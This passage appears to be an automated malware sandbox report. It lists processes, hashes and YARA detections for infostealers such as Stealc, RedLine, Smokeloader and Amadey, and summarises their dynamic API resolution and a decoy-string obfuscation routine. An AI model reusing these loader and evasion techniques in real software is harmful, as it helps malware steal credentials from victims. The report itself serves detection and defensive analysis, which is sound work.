Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000010.00000002.2480807062.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000010.00000002.2479133674.000000000254E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000010.00000002.2479176591.0000000002567000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:19:37
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7596 -s 1344
Imagebase:	0xc70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:19:39
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe"
Imagebase:	0x730000
File size:	3'278'336 bytes
MD5 hash:	3FB40EAE7C0427693CBDA49E44991C48
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	21:19:48
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Imagebase:	0x400000
File size:	250'368 bytes
MD5 hash:	0EF35662ABBE44CF6E064CB524B10742
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000002.2608427789.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000015.00000002.2608635245.0000000004090000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000015.00000002.2608393672.00000000026C1000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:19:50
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7856 -s 1040
Imagebase:	0xc70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	21:19:56
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe"
Imagebase:	0x730000
File size:	3'278'336 bytes
MD5 hash:	3FB40EAE7C0427693CBDA49E44991C48
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	21:19:58
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:19:58
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:19:58
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:19:59
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2244 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7e2c2bbc-ae2f-4d63-ad2c-5195ac7123fd} 8164 "\\.\pipe\gecko-crash-server-pipe.8164" 25b37f6c110 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:20:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x6b0000
File size:	1'931'776 bytes
MD5 hash:	A60C50F8BEE9EC4C4302415C6C3378A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.3389599424.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000003.2702273695.0000000005270000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	21:20:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0x8b0000
File size:	1'910'272 bytes
MD5 hash:	AE367D31031D846711863B026D7E4889
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.2760526662.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.2719030660.0000000005080000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	21:20:04
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Imagebase:	0x400000
File size:	250'368 bytes
MD5 hash:	0EF35662ABBE44CF6E064CB524B10742
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.2783199122.000000000267A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000021.00000002.2782304254.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000021.00000002.2782901057.0000000002661000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:20:07
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 352 -s 1316
Imagebase:	0xc70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	21:20:19
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	21:20:19
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	21:20:21
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2164 -prefsLen 25307 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2a719b5-f369-4b52-b0ba-c60f02424b7d} 5236 "\\.\pipe\gecko-crash-server-pipe.5236" 2017196f110 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004195E0 Relevance: 203.7, APIs: 112, Strings: 4, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,02554800), ref: 004195FD
GetProcAddress.KERNEL32(76210000,02554880), ref: 00419615
GetProcAddress.KERNEL32(76210000,0255CEC8), ref: 0041962E
GetProcAddress.KERNEL32(76210000,0255D108), ref: 00419646
GetProcAddress.KERNEL32(76210000,0255D138), ref: 0041965E
GetProcAddress.KERNEL32(76210000,0255D150), ref: 00419677
GetProcAddress.KERNEL32(76210000,02558BA8), ref: 0041968F
GetProcAddress.KERNEL32(76210000,0255D1C8), ref: 004196A7
GetProcAddress.KERNEL32(76210000,0255D120), ref: 004196C0
GetProcAddress.KERNEL32(76210000,0255D180), ref: 004196D8
GetProcAddress.KERNEL32(76210000,0255D198), ref: 004196F0
GetProcAddress.KERNEL32(76210000,02554820), ref: 00419709
GetProcAddress.KERNEL32(76210000,02554860), ref: 00419721
GetProcAddress.KERNEL32(76210000,025548A0), ref: 00419739
GetProcAddress.KERNEL32(76210000,025546C0), ref: 00419752
GetProcAddress.KERNEL32(76210000,0255D1B0), ref: 0041976A
GetProcAddress.KERNEL32(76210000,02579490), ref: 00419782
GetProcAddress.KERNEL32(76210000,02558D38), ref: 0041979B
GetProcAddress.KERNEL32(76210000,025546E0), ref: 004197B3
GetProcAddress.KERNEL32(76210000,025794A8), ref: 004197CB
GetProcAddress.KERNEL32(76210000,02579700), ref: 004197E4
GetProcAddress.KERNEL32(76210000,02579508), ref: 004197FC
GetProcAddress.KERNEL32(76210000,02579748), ref: 00419814
GetProcAddress.KERNEL32(76210000,02554600), ref: 0041982D
GetProcAddress.KERNEL32(76210000,02579610), ref: 00419845
GetProcAddress.KERNEL32(76210000,025794D8), ref: 0041985D
GetProcAddress.KERNEL32(76210000,02579640), ref: 00419876
GetProcAddress.KERNEL32(76210000,025794C0), ref: 0041988E
GetProcAddress.KERNEL32(76210000,025795C8), ref: 004198A6
GetProcAddress.KERNEL32(76210000,025796A0), ref: 004198BF
GetProcAddress.KERNEL32(76210000,02579718), ref: 004198D7
GetProcAddress.KERNEL32(76210000,02579670), ref: 004198EF
GetProcAddress.KERNEL32(76210000,02579628), ref: 00419908
GetProcAddress.KERNEL32(76210000,02558420), ref: 00419920
GetProcAddress.KERNEL32(76210000,025796B8), ref: 00419938
GetProcAddress.KERNEL32(76210000,025796D0), ref: 00419951
GetProcAddress.KERNEL32(76210000,02554700), ref: 00419969
GetProcAddress.KERNEL32(76210000,025796E8), ref: 00419981
GetProcAddress.KERNEL32(76210000,02554740), ref: 0041999A
GetProcAddress.KERNEL32(76210000,025795E0), ref: 004199B2
GetProcAddress.KERNEL32(76210000,02579658), ref: 004199CA
GetProcAddress.KERNEL32(76210000,025545E0), ref: 004199E3
GetProcAddress.KERNEL32(76210000,025548E0), ref: 004199FB
LoadLibraryA.KERNEL32(02579730,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(02579760,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(02579778,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(02579538,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(025794F0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(02579520,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(02579550,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(025795B0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(751E0000,02554580), ref: 00419AAA
GetProcAddress.KERNEL32(751E0000,025795F8), ref: 00419AC2
GetProcAddress.KERNEL32(751E0000,0255D300), ref: 00419ADA
GetProcAddress.KERNEL32(751E0000,02579688), ref: 00419AF3
GetProcAddress.KERNEL32(751E0000,02554900), ref: 00419B0B
GetProcAddress.KERNEL32(700E0000,02558E28), ref: 00419B30
GetProcAddress.KERNEL32(700E0000,02554A40), ref: 00419B49
GetProcAddress.KERNEL32(700E0000,02558E78), ref: 00419B61
GetProcAddress.KERNEL32(700E0000,02579568), ref: 00419B79
GetProcAddress.KERNEL32(700E0000,02579580), ref: 00419B92
GetProcAddress.KERNEL32(700E0000,02554A80), ref: 00419BAA
GetProcAddress.KERNEL32(700E0000,02554980), ref: 00419BC2
GetProcAddress.KERNEL32(700E0000,02579598), ref: 00419BDB
GetProcAddress.KERNEL32(753A0000,02554B00), ref: 00419BFC
GetProcAddress.KERNEL32(753A0000,02554BC0), ref: 00419C14
GetProcAddress.KERNEL32(753A0000,025797A8), ref: 00419C2D
GetProcAddress.KERNEL32(753A0000,02579838), ref: 00419C45
GetProcAddress.KERNEL32(753A0000,02554940), ref: 00419C5D
GetProcAddress.KERNEL32(76310000,02558C48), ref: 00419C83
GetProcAddress.KERNEL32(76310000,02558CE8), ref: 00419C9B
GetProcAddress.KERNEL32(76310000,025797D8), ref: 00419CB3
GetProcAddress.KERNEL32(76310000,02554B20), ref: 00419CCC
GetProcAddress.KERNEL32(76310000,02554A00), ref: 00419CE4
GetProcAddress.KERNEL32(76310000,02558DB0), ref: 00419CFC
GetProcAddress.KERNEL32(76910000,025797F0), ref: 00419D22
GetProcAddress.KERNEL32(76910000,02554960), ref: 00419D3A
GetProcAddress.KERNEL32(76910000,0255D3B0), ref: 00419D52
GetProcAddress.KERNEL32(76910000,025797C0), ref: 00419D6B
GetProcAddress.KERNEL32(76910000,02579850), ref: 00419D83
GetProcAddress.KERNEL32(76910000,02554A20), ref: 00419D9B
GetProcAddress.KERNEL32(76910000,02554B40), ref: 00419DB4
GetProcAddress.KERNEL32(76910000,02579790), ref: 00419DCC
GetProcAddress.KERNEL32(76910000,02579808), ref: 00419DE4
GetProcAddress.KERNEL32(75B30000,02554920), ref: 00419E06
GetProcAddress.KERNEL32(75B30000,02579820), ref: 00419E1E
GetProcAddress.KERNEL32(75B30000,025798C8), ref: 00419E36
GetProcAddress.KERNEL32(75B30000,02579A30), ref: 00419E4F
GetProcAddress.KERNEL32(75B30000,02579928), ref: 00419E67
GetProcAddress.KERNEL32(75670000,02554C20), ref: 00419E88
GetProcAddress.KERNEL32(75670000,025549A0), ref: 00419EA1
GetProcAddress.KERNEL32(76AC0000,02554CA0), ref: 00419EC2
GetProcAddress.KERNEL32(76AC0000,025799A0), ref: 00419EDA
GetProcAddress.KERNEL32(6F500000,02554C60), ref: 00419F00
GetProcAddress.KERNEL32(6F500000,02554BE0), ref: 00419F18
GetProcAddress.KERNEL32(6F500000,02554B60), ref: 00419F30
GetProcAddress.KERNEL32(6F500000,02579A48), ref: 00419F49
GetProcAddress.KERNEL32(6F500000,02554AA0), ref: 00419F61
GetProcAddress.KERNEL32(6F500000,02554C00), ref: 00419F79
GetProcAddress.KERNEL32(6F500000,025549C0), ref: 00419F92
GetProcAddress.KERNEL32(6F500000,025549E0), ref: 00419FAA
GetProcAddress.KERNEL32(6F500000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F500000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(75AE0000,02579AD8), ref: 00419FF9
GetProcAddress.KERNEL32(75AE0000,0255D2D0), ref: 0041A011
GetProcAddress.KERNEL32(75AE0000,025798B0), ref: 0041A029
GetProcAddress.KERNEL32(75AE0000,02579940), ref: 0041A042
GetProcAddress.KERNEL32(76300000,02554A60), ref: 0041A063
GetProcAddress.KERNEL32(6E800000,025799B8), ref: 0041A084
GetProcAddress.KERNEL32(6E800000,02554AC0), ref: 0041A09D
GetProcAddress.KERNEL32(6E800000,025799E8), ref: 0041A0B5
GetProcAddress.KERNEL32(6E800000,02579A00), ref: 0041A0CD

Strings

1#v, xrefs: 004198DD
P2#v, xrefs: 004197EA
InternetSetOptionA, xrefs: 00419FB5
HttpQueryInfoA, xrefs: 00419FCC

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA$P2#v$1#v
API String ID: 2238633743-3014924196
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
